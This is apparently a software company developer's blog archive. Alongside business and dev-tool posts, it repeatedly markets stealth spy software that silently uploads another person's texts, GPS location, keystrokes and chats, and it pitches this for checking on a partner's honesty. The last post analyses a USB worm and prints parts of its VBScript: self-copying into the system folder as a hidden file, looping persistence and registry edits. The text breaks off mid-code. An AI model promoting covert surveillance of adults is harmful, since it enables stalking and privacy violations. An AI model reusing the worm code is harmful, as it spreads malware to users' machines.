When you come to the end of the next quarter, recap your deliverables with your manager. Let them know that you love to make things happen, and are willing to do more."

5 Tips Before you click "Apply Now"

2010-02-28T23:28:00.003+05:30

Here are few tips to mind before you click on the "Send" button to apply to us (or anywhere else for the matter).

1. Are you sending to the right person?

Every company out there will have a different email address for job applicants, jobs@, career@; so its there for some reason. May be it goes to the HR, or an auto-filter software... sending the CV to ceo@, support@ will not get it any special attention.

2. Subject

Subject is your first chance to get attention, take time to type a meaningful subject. It must include position (or job reference code), experience, key skills.

Like: [CPP] C++/QT: 2.5+ yrs exp.

3. CV File Format

The CV should be attached in preferably PDF, or else DOC. One that requires a specific software or converter will never get opened.

4. Covering Letter

If you applying through email, the body of the email should be your cover letter, why attachment? Do you want to convey you are using the same cover letter for every company you are applying for?

5. Personal Attention

Take time to make the job application personalized for the company. Drop a line about why you want to work with us.? What seems interesting in our company, products? CCing the same email to a dozen companies' jobs email is ridiculous. Re-read your email, and spell check it.

Good luck. On a side note, we have opening for C++ programmers, if you have coded in any domain of C++ (VC++, Bada, QT, Symbian, Carbon, Borland-C++, Dev-C++, GCC/G++) other than Turbo-C++, apply to us at "jobs @ retinax.com".

SniperSpy Upgrade

2010-02-21T15:46:00.002+05:30

We ran out of 600GB of space we had at our current server, and the database was hosting text about 5GB. The proud upgrade of server we did in May, 2009 was no longer enough.

The trouble was, we didn't want to torture our customers, among thousands, by asking them to upgrade their builds with new version. We wanted everything to work behind the scene, and yet utilize the new server, 2TB of drive space, and new database.

We did it!

Our server runs on Linux and web scripts are running in PHP. PHP comes with some powerful network programming capabilities, here are two that helped.

1. PHP FTP Functions

One can create a fully functional secure FTP client in PHP. This helps in making the scripts transfer logs to new server, while the requests come to old server.

2. PHP Socket/HTTP Functions

PHP supports writing socket programs, but what helped in our case was the HTTP functions. This helps in sending request to another web server, and taking their response to the scripts only. We can do both GET/POST requests thru it.

This helps in writing several web programs that communicates between old and new server. Like isNewFilesPresent.php returns if new files is ready for fetching, and display it on the welcome page.

Besides that, MySQL can be given remote access permission, hence a web program can make use of database hosted on another server.

So, everything happily worked out.

Get more information about SniperSpy Remote Spy Software here.

Starting a software export company - Part V

2010-02-11T10:43:00.004+05:30

This is the final blog in the series in which I was talking about the paths followed while registering a *new* export company in Jaipur, India.

Part I
Part II
Part III
Part IV

So now our final step of Custom Bonding is complete, and hence the company can be operational to raise invoices and do the trade.

As a final blog in this topic, here is a quick look at the paperwork:

1. STPI registration process;
2. Legal Agreement with STPI;
3. Custom Bonding;

(Documents for Custom Bonding):

* Application for Custom Bonding.
* Copy of STPI Approval Letter
* Copy of Green Card issued by STPI
* List of proposed Plant & Machinery of Capital Goods attested by STPI.
* Agreement with STPI for Export Commitment.
* Process of Manufacture (Software Development Process).
* Supplementary Terms and Conditions, duly accepted by us on Rs. 100/- Stamp Paper to be notarise.
* Solvency Certificate.
* B – 17 Bond on Rs. 100/- Stamp Paper to be notarise.
* Affidavit on Rs. 100/- Stamp Paper to be notarise.
* Bank Guarantee.
* Declaration for Custom.
* Memorandum and Articles of Association.
* Lease Agreement of Premises or Ownership supporting details.
* Ground Plan of Premises.
* Copy of Importer Exporter Code No.
* Copy of Permanent Account No. (PAN No.).

Email me (zeeshan @ retinasoft.net) for any help/suggestions.

How We Do Software Project Management - Part I

2010-01-31T18:53:00.005+05:30

Our projects life cycle is divided into following phases:

1. Initialization,
2. Planning,
3. Execution
4. Testing
5. Closure

1. Initialization,

Initialization starts with kick off meeting-I, the points discussed in KoM-I are:-

Introductions
Goals
Provide History
Roles, Structure, Contacts
Standards, Guidelines
Set up 'Functions' team
(High level) Schedules, budget

Same meeting Product Scope (containing 'what' the project is all about) is provided.

Once the KoM-I is complete, the feasibility study of the project features are done, finally leading into Kick off meeting - II:

Look at Requirements, Specs, SOW, CDRL
Design standards
Rules, Procedures
Reporting
Training requirements
Problem areas
Risks

2. Planning

Planning and design is most important part of a software project, and a lot of emphasis is given in to it.

The planning phase mainly consist of making the Project Scope, the documents which consist of at least the following:

1. System Architecture
2. Design Constraints
3. Functional Specification
4. Work Breakdown Schedule
5. Base Gantt Chart
6. UI design
7. Risk Matrix

The System Architecture consist of UMLs, with a bare minimum of the following:

1. Use case Diagram
2. Class Diagram
3. Sequence Diagram
4. State Chart Diagram
5. Component Diagram
6. Deployment Diagram

In the planning stage Test Plan is also created.

3. Execution

Execution is the phase, and always the longest, where coding take place. SVN repository is created for the project, and coders are assigned their accounts are privileges. Daily commits are required.

To keep communication open and active, weekly Progress Status Report meeting is done, in this meeting, the PSR report consisting of:

1. Work done in Last week,
2. Work planned to do in new week,
3. Current Gantt chart, comparison with baseline,

is submitted.

The Project Managers need also to watch for Change control, where he/she is required to monitor the work, if a fix in plan is required, the change in Scopes are done, along with changes in schedule and project scope. Same need to be reported to the management.

If everything is on track, the PM software, which is phpCollab in our case, is updated.

4. Testing

During the execution phase, Test cases are made. They are executed in this phase, with reporting to our bug database, the assigned developers fixes the bugs, and give feedback on the same system.

5. Project Closure

At this stage, acceptance testing is done, checking for grammers, signing of application, trial versions are made/tested, web site content are updated, PRs are made among other things.

The team need to submit a Project closure report and hold a PCR meeting with their team.

Initialization Phase:
Planning Phase:

Execution Phase:

Project Closure

So the above is a quick look at how we do the entire process, in coming days I will throw more light on each of the topics / phases.

App Markets give new edge to geekpreneurs

2010-01-16T19:07:00.007+05:30

Back in 2002, when after coding Sys Detective I'd been trying to self-publish it, I found software marketing is no easy task. Website, Sell content, Press release, Order Processing, Shareware, Demo, Affiliates, Packaging, Updates, Advertising, SEO and many other aspects. The day you have your Setup.exe ready to distribute, another venture to a whole new scary world begins.

Things are better now for newbie geekpreneur - whether a college geek, or a day time worker looking to make side income from home, imitating the successful Apple's AppStore, all major Smartphone vendors have come up with their own marketing store.

Submitting and selling through such App stores is easy in comparison to the long process of Windows software marketing. With Apple, RIM and Android's open-source tools developing for such platform is fun, fast and cheap.

So if programming interest you and marketing scares you, this is the best time ever to sell your innovative software.

Info about specific AppStores from their vendors: iPhone, Windows Mobile, Nokia Ovi, Android Market, and BlackBerry.

And yes, SysDetective did reform to AceSpy and became a successful selling software for several years with the marketing efforts of James.

Starting a software export company - Part IV

2009-12-23T22:06:00.003+05:30

After the presentation of the business plan in STPI, Jaipur on 13 November, 2009, we did the most difficult part, that is, waiting. So after a long wait of over a month, we have received now the "Approval Letter for STP Units", what it mainly does is approve the company as a member of STPI and extends all the benefits and facilities offered for STPI members to it.

So while it is time to cheer for the approval, the process is not yet complete. Next step is to sign up the "Legal Agreement" and deposit an advance fees for the transitions. And then focus should be on this line of the approval letter: "The unit should be custom bonded."

Retina-X Studios set to open new USA Office

2009-12-19T12:47:00.009+05:30

Retina-X Studios, LLC is all set to open a new office in a major city of USA led by its co-founder James Johns. The new office will be responsible for handling product marketing, customer support and public relations. The company plans to hire several full time US employees in the same fields. We hope the new office will be operational by 15 of January'10.

More information about Retina-X Studios, LLC here.

AceSpy debut for Mac OS X

2009-11-17T18:54:00.003+05:30

After 6years of success in Windows, now AceSpy is available for Mac OS X. AceSpy for Mac is a complete stealth program, that records activities done on your Mac. AceSpy for Mac will help you discover the truth about what happens on your Mac behind your back.

All online activities including chat conversations, web sites visited, applications usage and regular screenshots are captured. The software will also send hourly report on your chosen email address.

With the launch of AceSpy for Mac, now Retina-X Studios, is one of the few, if not the first, spy software vendor to provide monitoring software for Apple Macintosh. Yet, quite certainly the #1, software vendor to provide spy software for such a variety of platforms ranging from PCs, Mobiles, to Mac.

More information regarding AceSpy for Mac is here.

Starting a software export company - Part III (Update 1)

2009-11-13T20:34:00.004+05:30

This is my small update on the ongoing information sharing of the process of starting a software export company in Jaipur, India.

Since our submission of the STPI registration forms, and everything, a disaster took place:-

It had played part in delaying of the next step, which finally happened today. The business plan presentation of the new company in front of the management at STPI, Jaipur. At this stage, you have to give presentation about your new company, like: introduction, background of promoter, area of expertise, expected cash flow, means of finance, business organization, project cost, to name a few.

In my last post in this series, I will post all that documents in this blog.

Android Spy Software Released

2009-11-09T10:35:00.003+05:30

Mobile Spy has expanded into the platform of Android mobile phones, and now you can monitor GPS location, SMS details and calls information about your mobile phone running Android in real time.

With the release of Mobile Spy for Android, now Mobile Spy is available for 5 different mobile platforms including Windows Mobile, iPhone, Symbian, BlackBerry and Android, becoming the only and first vendor to have this vast coverage.

Unlike competitors claims to be "first of our kind, and still remaining number 1" it is to be reminded that Mobile Spy was FIRST spy software ever available for Windows Mobile, FIRST spy software available for iPhone/iPhone 3GS, and now FIRST spy software available for Android OS.

And it also takes great pleasure in announcing:-

More details about Android Spy Software is available here.

Retina-X on ABC News

2009-10-28T11:21:00.004+05:30

Tonight broadcast of ABC News, USA featured an interview of James Johns on the flagship product of Retina-X Studios, Mobile-Spy. RXS has recently released a version of Mobile-Spy for BlackBerry.

More information about Mobile-Spy can be found here.

BlackBerry Mobile-Spy Hits the Market

2009-10-25T09:44:00.001+05:30

PR: Retina-X Studios, LLC, announced today the immediate availability of Mobile Spy for RIM BlackBerry devices. Using this groundbreaking BlackBerry technology, users can silently monitor GPS locations, incoming and outgoing text messages (SMS) and call information of children or employees -- even if activity logs are erased. Mobile Spy had already been available for the iPhone, Windows Mobile and Symbian OS smartphones. The new version for the BlackBerry is now on the market.

Mobile Spy runs in total stealth mode and no mentions of the program are shown inside the BlackBerry. After the software is set up on the phone, it silently records GPS locations every fifteen minutes. The entire text of all SMS text messages along with the associated phone number is also recorded. Additionally, inbound and outbound call information with duration of the call is recorded. Immediately after activities are logged, they are silently uploaded to the user's private online account. Accounts can be checked online from any web browser without needing further access to the phone.

"Mobile Spy is a priceless piece of software. After having some doubts about honesty, this really helped set the record straight and confirmed my suspicions," says Derrick, a Mobile Spy user. Retina-X Studios CEO James Johns states, "With Mobile Spy, dedicated GPS tracking devices become obsolete. The BlackBerry can become the GPS tracking device and capture text messages and call information at the same time. This gives parents and employers a very effective way to monitor the locations and activities of children or employees."

Mobile-Nanny Released

2009-10-08T11:54:00.003+05:30

Mobile-Nanny is released and available for immediate purchase & download from its web site: www.mobile-nanny.com

Mobile-Nanny is one of its kind parental control solution for Windows Mobile, authenticated and verified by Microsoft test team, the software will allow concern parents to filter, block and restrict call and SMS usage of the smartphone, and set out various limitations and time restriction on the application & phone usage.

The software will be soon available in the Windows Market place.

More Windows Mobile Software: Mobile-Nanny Recovery-Cop Mobile-Spy

Starting a software export company - Part III

2009-10-07T13:54:00.002+05:30

Moving further with our lessons to start a software export company in India.

The IEC certificate has been provided to our proprietorship company, the company can start invoicing now. But to take the benefits of STPI scheme, the next step would be STPI registration.

Here is a list of things we are submitting to STPI, if they ask for more, or need any changes, I will note it down here.

1. STPI Registration form,
2. IEC Certificate,
3. Shop-Act,
4. Map of Office,
5. Demand Draft of Rs. 2500,
6. Lease agreement of office,
7. PAN card of company,
8. Business Plan of the company.

More information at: www.stpi.in

Starting a software export company - Part II

2009-09-09T21:27:00.002+05:30

Lets move further with the situation of forming a software export company in India, we have completed finding an office, and applying in Shop-Act. In one week, and after a visit from the office, the Shop-Act of the company is provided. Though, it has mis-spelled my name, but at least the company name is correct. :-)

So the next thing to do is getting a Bank Account in the name of your proprietorship firm, your bank will need besides your PAN card, address proof, ID proof, photos, the Shop-Act forms. And promises to open the account in 3-4 days. This is the only step where the people opposite to you is eager to get this step done.

Now is the IEC, the import export code. We are at this stage.

"IEC Code is unique 10 digit code issued by DGFT – Director General of Foreign Trade , Ministry of Commerce, Government of India to Indian Companies.

To import or export in India, IEC Code is mandatory. No person or entity shall make any Import or Export without IEC Code Number." check here for more details

To be continued...

Starting a software export company - Part I

2009-09-01T12:37:00.005+05:30

In the next few blogs, I am going to write the steps that are involved in forming a software export company in India. The thing is, when I started Retina Software Private Limited, I would have appreciated a good step-by-step guide to forming, registering, bonding and STPI registration process, there wasn't one. With trial-and-errors during those phase, RSPL is proudly running as a Private Limited Company and a registered unit of STPI.

So, why another company?

As a member of STPI, India, companies are liable for a tax-holiday, the holiday was till 2010 and is recently updated for one year more. Hopes are that it will continue to grow for some years more. This means the 30% corporate tax that is imposed on Companies in India, is "Free" for Software Export Units.

Wait, the clause attached is MAT, Minimum Alternate Tax, this is short of an advance tax that get deposited which is 15% of the companies book profit. The MAT is advance tax and carried forward for several years, so in other words, whenever tax holiday is over, the taxes paid in MAT will be adjusted with the taxes to be paid in that year.

Private Companies in India is also liable for Profit distribution tax, that is, dividend tax of 15%.

So a simple example math is:-

Company Profit: 10 crore,
MAT: 1.5crore
Left: 8.5crore
Dividend (if taken): 1.275crore on 8.5crore dividend distributed.

Total Tax: 1.5 + 1.275 = 2.775crore, almost the normal tax paid by corporates.

The solution:-

Propreitorships, Partnerships are not liable for either MAT or dividend tax, so if you want true profit of STPI scheme, your company should be one of those model.

Hence, the new company.

The company I am forming is going to be as simple as a Proprietorship, with all good effect of it, proprietorship suffers from one problem, of less credibility and full liability on the owner. Less credibility is not an issue given we are in product development exclusively for Retina-X Studios, LLC.

The step one is deciding a name and finding a place. Our new office is going to be at 8/199 Malviya Nagar, Jaipur which is very close to 8/266 Malviya Nagar. You need to get a rent agreement signed with the landlord, and it should carry the name of the company you plan to form.

We have completed this much, the second step before starting operation is registration with local government in what is called the Shop-Act.

To be continued...

Boat Manio Game for iPhone Controls Traffic at the Marina

2009-07-24T13:55:00.005+05:30

AS has announced Boa6 Mania, a new game on the AppStore for the iPhone and iPod Touch. You've played traffic control games in the air. Now it's time to have some addictive fun at the marina! Gameplay is simple yet challenging which is great game for beginners and pros alike.

Your marina has three different colored piers. Boats will appear on the screen at a constantly higher rate. Trace a path for each boat to land at the correctly colored pier. But don't let them crash into each other or you'll lose a life! Steer boats over treasures to earn extra points.

Boat Mania includes two exciting modes of game play. Going for the classic high-score using the Quickplay mode is always fun. But it doesn't stop there. Boat Mania's Level mode gives you ten unlockable levels to beat. Each level has varying goals.

Make Fast Money Selling Software Online

2009-06-11T23:58:00.005+05:30

Our Affiliate channel allows you to setup and market our software online in few easy steps. At shoe-string budget, you can make a very high return on investment with our huge 45% commission rate on each product sold.

I am going to outline the few steps it takes to get you selling online. But first lets analyze this table:-
With a sell of only 10 copies a day, you would be making over $10k each month, none of the figures are hypothetical, we got affiliates who are making several times more than the figure shown here.

Lets get started:-

A. We use Plimus.com for our online order processing, we been with them with almost 5years and they are great guys, with great guys I mean, your money would be in your bank account at the right time.

All you have to do is open the Sign Up page, and sign up, no fees required.

B. Once you have Signed Up, you will be presented with your Account Home page. Click at Product Catalog.

On the New Screen type "Mobile Spy" (or any other product you are interested in selling), and hit Search. There you get list of the products, click on "Sell This Product".

Confirmation screen will come where you can also send a message to us. Once approved, you will see Mobile-Spy listed in your account home page.

C. Click on "Get Buy Now Links", a tabular list of all products along with the order links, trial links would be presented.

D. Next you will want to have a web site of your own where you can market the products. That is the best possible way to present yourself to the customer but in case you don't want to get in to getting a web site, you can choose to market the URL of Product Information.

A Product URL information will look like: https://www.plimus.com/jsp/redirect.jsp?contractId=1634551&referrer=retinax

When any customer clicks on such links, Plimus will remember that customer and if s/he purchase the product from our website you are still credited the full 45% commission!

You can put this link anywhere, your existing web sites, your blog, your e-mail/forum signature, Google Adwords!, any idea you can think of. Or we are happy to help at affiliates (@) retinaxstudios.com.

E. If you have never had your own web site/blog, let not the idea scare you off. It is much easier than it sounds, open www.godaddy.com or any web hosting site, and get yourself a host. Most of them would be cheap to like 30$ a month or less. A domain name that relates to the product, such as mobilespysoftware, iphonemobilespy, can be taken for $9 an year or less.

Once you get your domain and host under your belt, lets design a web site, again www.templatemonster.com can be of your help. Thousands of templates to choose from, get one that fits your style, there is service to customize the content with your content for a nominal charge. Get content from our web site, modify them as you think is appropriate, and fit them in. And you have your web site online.

F. There ends all your steps, with a little bit of marketing of your web site, or a lucky ranking in search engine, sales will start pouring. You got nothing else to do or worry, we will take care of sending the software to the user, solving their queries, if any, while you can enjoy your life with the new 24/7 money making system you have created.

Happy Selling.

New Version of SniperSpy and Mobile-Spy Released

2009-05-27T11:28:00.004+05:30

SniperSpy is now on the fastest server ever, here is the configuration of the server that host your new SniperSpy account:-

QUAD CORE 2.83 GHz Processor,

600 GB of disk space,

4 GB of RAM,

CentOS Linux.

and over all *SSL* secure. Now you login to https://www.logsviewer.com/

SniperSpy new version also has the ability to upload actual files as they are created on your remote PC's desktop, document or pictures folder. There is improvement in chat logging, application summary report, and Location tracking of your laptop (or desktop, if you carry it along)!

RXS has also released today Mobile-Spy version 3 for iPhone and Windows Mobile, the software has GPS tracking and the iPhone version can be installed from with-in Cydia, in minutes. The Windows Mobile version is re-coded in C++ from earlier managed codes.

Info for SniperSpy

Info for Mobile-Spy

Stay tuned for more upcoming releases.

Annual Day 2009 Celebration

2009-04-29T23:53:00.007+05:30

AceSpy 5 Released

2009-04-15T18:28:00.005+05:30

AceSpy 5.0 has been released with several updates and fixes. The product is also our first desktop application digitally signed, so you can be ascertain there wasn't any tempering done to it.

Here is short list of the new features:-

New Cutting-Edge Stealth Engine (Windows Service Based)
Internet Traffic Recording
Facebook Content Recording
Search Engine Searches Recording
AceSpy Log File Encryption
Upload Logs to FTP Account
Auto-Uninstall at a Set Time
PC Activity Summary Report
and many more!

Upgrade your version here: Spy Software

RecoveryCop: Windows Mobile Theft Recovery Software

2009-03-14T15:37:00.003+05:30

Retina-X Studios has released RecoveryCop, Windows Smartphone and Pocket PC version, that will help mobile users to track, locate, and recover mobile phones if stolen. The software also backups and monitor phone usage such as SMS/Call Info and GPS location to easily track the activities of the thief.

The software is available for purchase at www.RecoveryCop.com.

Update: RecoveryCop is tested and certified by Microsoft for an authorized Designed for Windows Mobile.

PC WORLD Cover DVD Features

2009-01-06T21:24:00.003+05:30

Grab a copy of PC World, India Edition for your FREE copy of Net Orbit 2.0 and latest Advanced Parental Control, software worth over 17,000/- free! Page 107 features the review of the two software.

Apple iPhone Spy Software Now Available!

2008-12-14T20:59:00.007+05:30

Mobile-Spy is now compatible with latest iPhone. Thanks for the participation in the iPhone beta program, the software runs in stealth and captures SMS sent and received, which can be viewed online. Mobile-Spy is the first and only available Spy Software for iPhone. Visit www.mobile-spy.com for more info.

This Halloween, Our Treat is SniperSpy 6

2008-10-26T19:51:00.004+05:30

Just when users started to think we have reached the new horizon, the talk for crossing is on fire. This halloween, we are bringing SniperSpy 6, the grandest release of the year. SniperSpy 6 has undergone complete change, the release will bring new faster engine, reliable records uploading, multi-lingual support, along with new features (I won't talk now), and one of the best web site and GUI of RXS ever done.

Also, Net Spy Pro 4.7 is released, the software supports now VNC connection to workstations, with smooth real-time control of the remote workstation in 'stealth'.

AceSpy 4.5 Released

2008-09-26T01:45:00.004+05:30

AceSpy 4.5 is released with several updates and fixes. The new release introduces Searching of logs, security & interface updates.

At RXS, we are focused at more R&D these days, and we plan to release two one-of-its-kind software before the end of this year. And of course, several updates to our existing software along with the grandest SniperSpy version 6. Stay tuned.

Quick Guide to Getting Up & Running with Microsoft Virtual PC

2008-09-14T01:47:00.003+05:30

No matter how much Microsoft continues to disappoint its end users with their imposing "Let it be" policy to the end users (I'm talking about ending support of XP, VB6) with the not-so-good alternative (Vista/.NET), there are times when they offer products that are great way to solve problems (I'm not talking about Forefront (yet to try it)).

Microsoft Virtual PC let's you create and run two or more O/S on your single system, and let you move in and out of the host and virtual PC. Why do you need it?

Scenario 1: You happen to be a software developer or QA engineer and have to test your software on multiple O/S.

Scenario 2: You were one of those enthusiast who installed Vista as their primary O/S, and after few months of the incompatibility problems (playing Quake v1) on Vista, you want to go back to XP without formatting your hard drives from the ground up.

Here is the quick guide the title of the blog entry talks about:-

Download and install Microsoft Virtual PC from here. http://www.microsoft.com/downloads/details.aspx?FamilyID=04d26402-3199-48a3-afa2-2dc0b40a73b6
Create a New Virtual Machine, the wizard is explanatory enough, Give 512MB RAM (and 10GB disk space at least) for XP.
Click on Start button.
Insert the XP CD and click on CD->Use Physical Drive D:, let the O/S boot from CD.
Install XP as if you would have on a new computer.
Login to your XP, and chose Action->Install Virtual Machine Add-ins, you want it (for like drag and drop files from host PC, moving mouse from one O/S to another).
Go to Actions->Settings, Network, chose NAT from the combo-boxes. Yo, the Internet starts working (believing it works on your Host PC).
If you cannot get it to come on the same Network, I recomment LogMeIn freeware, Hamachi, to create a VPN between the host/virtual operating systems.

The real fun comes if you have two monitors connected to your Desktop, like mine, below, you can go full screen on other machine.

For installing Linux distro visit this URL.

P.S. I still have to try Quake v1 on the Virtual PC, the Virtual PC have its own graphic drivers.

Net Orbit v2 Released

2008-09-08T15:19:00.002+05:30

We have finally released Net Orbit v2 for Classroom Management.

Net Orbit is specifically designed to solve pain of teachers and lab instructers in managing students computer activity. Along with tradional monitoring capability, NO2 has several unique features including:-

1. Desktop Annotation,

2. Broadcast Teacher screen to Students,

3. Remote Control commands, etc

Give a look at www.net-orbit.com

SniperSpy 5.5 Fully Supports Unicode Keylogging

2008-08-16T20:20:00.005+05:30

... SniperSpy 5.5 makes Remote Unicode Spy Software a reality.

Unlike many other competitors (like 90% of them) SniperSpy becomes the one major remote keystrokes logger to fully support Unicode, from any Window, chat applications, web sites, keystrokes etc. The logs are stored in MySQL databases at our dedicated servers and is visible in the new web-panel available at: www.logsanywhere.com/ctrlpanel/

As in my last post, I talked about the difficulty of supporting Unicode characters in PHP 5, and even more the difficulty in making it work between Microsoft and Zend, UCS-2 and UTF-8, Visual BASIC and PHP 5. The bottom line comes with the fact that its all 0 and 1 at the bottom. :-)

I would have liked to throw more light on how to achieve it, but I will wait for other keystrokes logging software to start the multi-lingual support.

Unless you are in Spy Software industry, you can e-mail me to developer (at) acespy.com if you are facing the same problem of PHP5 MySQL Unicode problem.

Check out the cutting-edge remote spy software here.

Mobile-Spy v2 and New Website Launched

2008-08-14T17:28:00.003+05:30

Mobile Spy v2 is launched now which supports a wide range of devices running Symbian 8/9 OS, or Windows Mobile 2003/5/6.x

We have also launched new modern designed web site for Mobile Spy.

Quick Guide to Getting Up & Running with SVN

2008-08-08T03:15:00.006+05:30

...Setting up Source Code Control easy way for your Personal Computer

Developers at MicroISV seldom uses Source code control, there is no reason why you don't use it even if you are the single coder of your programs in your home office. Here is quick steps to setting up SVN on your PC.

You will need to download a few software first,

1. Download VisualSVN (www.visualsvn.com) Server and Management Console

2. Download TortoiseSVN (While you can work with VisualSVN, I find working with Tortoise Easier).

Install VisualSVN on your desktop, the only screen to worry about during installation is this:-

I recommend creating the Repository on a different partition with of course plenty of disk space, if you have two hard drives even better, use the other hard drive.

When done,

R click on your "Computer" icon and click "Manage",
open the "Services and Applications" tree,
Click on Visual SVN, and Users,
Right click on Users and chose Create User,
give an username and password that you will use for your logins.

You are done creating an user, now lets create a Repository for your project

1. Open VisualSVN from Computer Management again, as in the previous steps.
2. Right click on Repository and Chose Create Repository, give a name to your Project.

Create as many repositories as many projects your have.

Your work at VisualSVN is done. Now, lets use TortoiseSVN, install it now, if not done so, already.

We will first create a Working folder, here you will work on your projects and I will recommend creating it on a different partition, hard drive then your repository.

Create a folder I:\projectwork
Now go to your project folder where you have been working earlier, say K:\VB Proj\ProjXYZ,
Right click on this folder name (ProjXYZ), and chose Tortoise SVN -> Import, a Window like below will appear:
Click on OK for Import to start.

Your project is in Repository now,

Goto your Working folder you have created (I:\projectwork), and right click on an empty area, select SVN Checkout...

The initial Checkout will download all the files. You can work on your project now, once done, right click on the folder name again and chose "Commit...", give a remark to the work done by you and click Ok. The changed files will be uploaded to the Repo again.

You can revert back to any revision, (to see Revision log, right click on folder name and Chose TortoiseSVN->Show Log), by right clicking on the folder name and choosing TortoiseSVN -> Update to Revision, and give a Revision number where you want to revert.

Happy coding for now.

A quick guide on What is Source Code control is already well written by Eric Sink here.

RSPL New Office

2008-08-07T02:32:00.003+05:30

As per the law of office change, "Every office shift deliberately goes near to the CEO house." we managed to dig a suitable place for us at JLN Marg, Jaipur.

PHP MYSQL UNICODE δί-λημμα

2008-07-25T22:50:00.004+05:30

... Pause, right click in your Firefox, go to View Page Info, Encoding: What it says? Do you care, I am sure, you don't, coz you know English. But well, west is not all the world, there is sky out side theirs too.

We, at RXS, is in process of capturing that, I chose to begin with SniperSpy for the conversion, and discovered:- "PHP represents strings “abc…” as bytes not individual characters, that is a will take '1' byte, 'b' another 1byte. But Unicode takes up to 6 bytes for some characters, that is 捲 might take '4' bytes, and plus 'a' can take '2' bytes, hence the ? after each letter if you try to print a Unicode character. All internals string functions in PHP are bytes, that is (strlen) string length of 'abc' is 3 normally but 'abc' of Unicode will come 6!

VB6 also don’t supports Unicode for its internal controls, BUT characters are stored as Unicode (UCS-2) and we have script support (VBScript) that can write files in Unicode plus API to convert ASCII to Unicode so the module part is not as difficult to switch to multi-lingual data capture.

Added to this module stores file in Unicodes, UCS-2 format, and MySQL needs UTF-8 format! There is again 8byte difference and again conversions needed, in my text, UCS-2 to UTF-8 leads to conversion of Russian letters to something like Japanese!"

PHP 6 is coming, that is finally going to progess in that line, till then here is a good solution:-

Here

I will also continue as working demo get introduced.

Advanced Parental Control v2 Released

2008-07-22T12:43:00.002+05:30

APC 2.0 is released that comes with:

1. Email reporting,
2. Fixing in GUI,
3. New Stealth Enhancement.

"Advanced Parental Control: Protect Youngsters From Harmful Content Online
Advanced Parental Control is a flexible tool for restricting and monitoring the amount of time your children spend online, and what they do with it." - PC PRO July 2008 issue.

Net Spy Pro v4.5 Released

2008-07-16T01:43:00.003+05:30

NSP 4.5 is released today which comes along with several updates, I'd been working on last month. The top features includes:-

1. Live Keystrokes Viewer,
2. View shared files, services, processes and applications,
3. Log management through Web panel,
4. Configuration, Change password through Web panel,
5. All new web panel with menu system,
6. Import/Export Log settings, for centralized management of configuration for all workstations,
7. Faster network scanning,

and several updates and bug fixes. Check Net Spy Pro here.

Also, RXS has released Mobile-Spy for Windows Mobile running the latest v6, bringing the compatibility list even longer.

STPI Member

2008-07-04T18:43:00.003+05:30

Retina Software (P) Ltd. is a member of STPI, Jaipur now.

New Net Spy Pro Website Launched

2008-06-10T23:08:00.002+05:30

Retina-X Studios has released new web site of Net Spy Pro available at www.net-monitoring-software.com

We plan to bring a new upgrade for Net Spy Pro very soon.

PC Health Optimizer Press Mention

2008-05-22T04:29:00.003+05:30

"It is well designed and more conducive to producing better results than a so-called one-click operation." By: Ray Wilson, The Bulletin

Visit: www.pchealthoptimizer.com

AceSpy v4 Released

2008-05-18T04:19:00.002+05:30

AceSpy 4 is released today with the "most" comprehensive spy features and improved user experience.

The improved capture functionalities records Emails in Outlook, Thundermail, Windows Mail, and Chat conversations in AIM 6, ICQ 6, YIM 8. The email delivery sends HTML easy to read records, and UI is totally revised to bring better log browsing experience. The software is fully Vista compatible requiring no Administrative privilege to work in normal case.

Visit: AceSpy Spy Software Now

5th B'day of AceSpy

2008-04-28T16:18:00.004+05:30

... celebrated with launch of new AceSpy.com, RXS oldest web site.

Ok, I heard what about v4, its coming, wait.

Trainee's Presentation

2008-04-06T15:05:00.001+05:30

VirusRemoval.vbs: Virus on my pen drive!

2008-03-30T19:38:00.005+05:30

... tackling an irritating virus! VirusRemoval.vbs by Sujin

Thanks to my revolving pen drive, I noticed on my XP SP2 running laptop, all folders started to open in New Windows, and that too, after hanging for few seconds. I have been using Avast! happily on the laptop for quite a while (3years), with confidence. I started a full scan. Finding nothing (Okay, it does find old versions of AceSpy files). But this virus! Nope.

While the scan, I inserted the drive in my another laptop running Vista, the autorun window popped up asking whether to run wscript.exe, or open the folder, or start the ready boost.

So, it got something. Understanding this machine is too important to play with, I am trying this on a PC, running XP.

The pen drive has two naughty files:-

The autorun.inf is just making sure that the virusremoval.vbs script is executed. Good for spreading this one.

Lets give the VirusRemoval.vbs file a look:-

Section 1:
'****************************************************************** '********************* Virus Removal VBScript ********************* '************************** Version 1.00 ************************** '****************************************************************** 'This antivirus program is intended to repair your computer from 'any sorts of virus attacks. 'This program is exactly like a normal virus but it repairs things 'rather than destroying them. '****************************************************************** '****************************************************************** 'Program developed by 'Sujin Joshi 'http://Sujin.com.np 'sujinjoshi@gmail.com Option Explicit On Error Resume Next

Thanks Sujin, I am surely confident this isn't a normal virus. This is worst them then in design.

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root Set Fso = CreateObject("Scripting.FileSystemObject") Set Shells = CreateObject("Wscript.Shell") Set WinDir = Fso.GetSpecialFolder(0) Set SystemDir =Fso.GetSpecialFolder(1) Set File = Fso.GetFile(WScript.ScriptFullName) Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream AllFile = AllFile & ReadAll.readline AllFile = AllFile & vbcrlf Loop

Sujin didnt put comment so, so far, he had defined some variables, and read the content of it self in an AllFile variable.

Count=Drv.DriveType 'Hmm all the drives... Do

'Create Text file VirusRemoval.vbs in SystemDir! But dude, why this is in loop? Also, he takes care to set the attributes to system, read-only and hidden.
'Ahem, nice one, this is in loop cause VirusRemoval.vbs keep on running all the time on your system! Terminate wscript.exe from Task Manager to stop running it!
If Not Fso.FileExists(SystemDir & "\VirusRemoval.vbs") then set WriteAll = Fso.CreateTextFile(SystemDir & "\VirusRemoval.vbs",2,true) WriteAll.Write AllFile WriteAll.close set WriteAll = Fso.GetFile(SystemDir & "\VirusRemoval.vbs") WriteAll.Attributes = -1 End If

'Ok, these all are explained quite well at PC Tools registry guide, so I leave it! 'Sujin did you get it there?
'Delete all these keys from registries! Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Sujin.com.np"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
